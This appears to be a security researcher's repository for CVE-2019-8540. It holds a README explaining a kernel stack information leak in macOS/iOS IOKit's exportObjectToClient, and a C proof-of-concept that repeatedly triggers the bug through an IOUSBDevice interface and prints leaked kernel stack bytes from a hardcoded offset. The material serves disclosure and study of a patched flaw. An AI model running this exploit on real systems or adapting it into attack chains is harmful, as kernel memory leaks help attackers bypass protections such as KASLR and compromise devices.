├── README.md └── poc.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-8540 2 | Kernel Stack info leak at exportObjectToClient function 3 | 4 | bug details: 5 | 6 | macOS<=10.14.3 && iOS < 12.2 7 | 8 | 9 | There is a bug at Function exportObjectToClient in IOKit class, which can lead to leak 4 bytes of kernel stack info. 10 | exportObjectToClient just like its name which make an arbitrary OSObject available to the client task.It’s a basic function, many other kernel function use it . 11 | 12 | 13 | `IOReturn IOUserClient::exportObjectToClient(task_t task, OSObject *obj, io_object_t *clientObj)` 14 | 15 | `{` 16 | `mach_port_name_t name; 17 | name = IOMachPort::makeSendRightForTask( task, obj, IKOT_IOKIT_OBJECT );` 18 | `*(mach_port_name_t *)clientObj = name; // (1). force the type convert to mach_port_name_t` 19 | `if (obj) obj->release();` 20 | `return kIOReturnSuccess;` 21 | `}` 22 | 23 | We know io_object_t length is 8 bytes and at (1) which was force convert to mach_port_name_t(4 bytes) ,so lead to the high 4 bytes not inital 24 | -------------------------------------------------------------------------------- /poc.c: -------------------------------------------------------------------------------- 1 | // 2 | // main.c 3 | // msg_test 4 | // 5 | // Created by maldiohead on 2018/12/10. 6 | // Copyright © 2018 maldiohead. All rights reserved. 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | int main() { 27 | 28 | io_iterator_t iter; 29 | kern_return_t err=IOServiceGetMatchingServices( kIOMasterPortDefault, 30 | IOServiceMatching( "IOUSBDevice" ), &iter); 31 | if(err) 32 | { 33 | printf("[!]can't find the service!\n"); 34 | return 0; 35 | } 36 | 37 | io_service_t service=IOIteratorNext(iter); 38 | if(!service) 39 | { 40 | printf("[!]can' get service!\n"); 41 | return 0; 42 | } 43 | SInt32 score; 44 | IOCFPlugInInterface** plugin; 45 | 46 | 47 | IOUSBDeviceInterface300** usbDevice=NULL; 48 | err=IOCreatePlugInInterfaceForService(service, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score); 49 | 50 | if (err) { 51 | printf("[!]can't create plugin interface!\n"); 52 | return 0; 53 | } 54 | 55 | (*plugin)->QueryInterface(plugin,CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID300),(LPVOID)&usbDevice); 56 | IODestroyPlugInInterface(plugin); 57 | io_iterator_t interfaceIterator; 58 | IOUSBFindInterfaceRequest interfaceRequest; 59 | interfaceRequest.bInterfaceClass=kIOUSBFindInterfaceDontCare; 60 | interfaceRequest.bInterfaceSubClass=kIOUSBFindInterfaceDontCare; 61 | interfaceRequest.bAlternateSetting=kIOUSBFindInterfaceDontCare; 62 | interfaceRequest.bAlternateSetting=kIOUSBFindInterfaceDontCare; 63 | 64 | 65 | while (1) { 66 | err=(*usbDevice)->CreateInterfaceIterator(usbDevice,&interfaceRequest,&interfaceIterator); 67 | 68 | // hard code 0x190 is just the offset of the leaked data.this is macOS 10.14.0 offset. may be you need get the offset by your self. 69 | // you can debug the poc and then get the offset 70 | printf("[*]addr:%lx leaked data %x\n",(uint64_t)(&interfaceIterator)-0x190,*(uint64_t*)((uint64_t)(&interfaceIterator)-0x190)); 71 | sleep(1); 72 | } 73 | return 0; 74 | } 75 | 76 | --------------------------------------------------------------------------------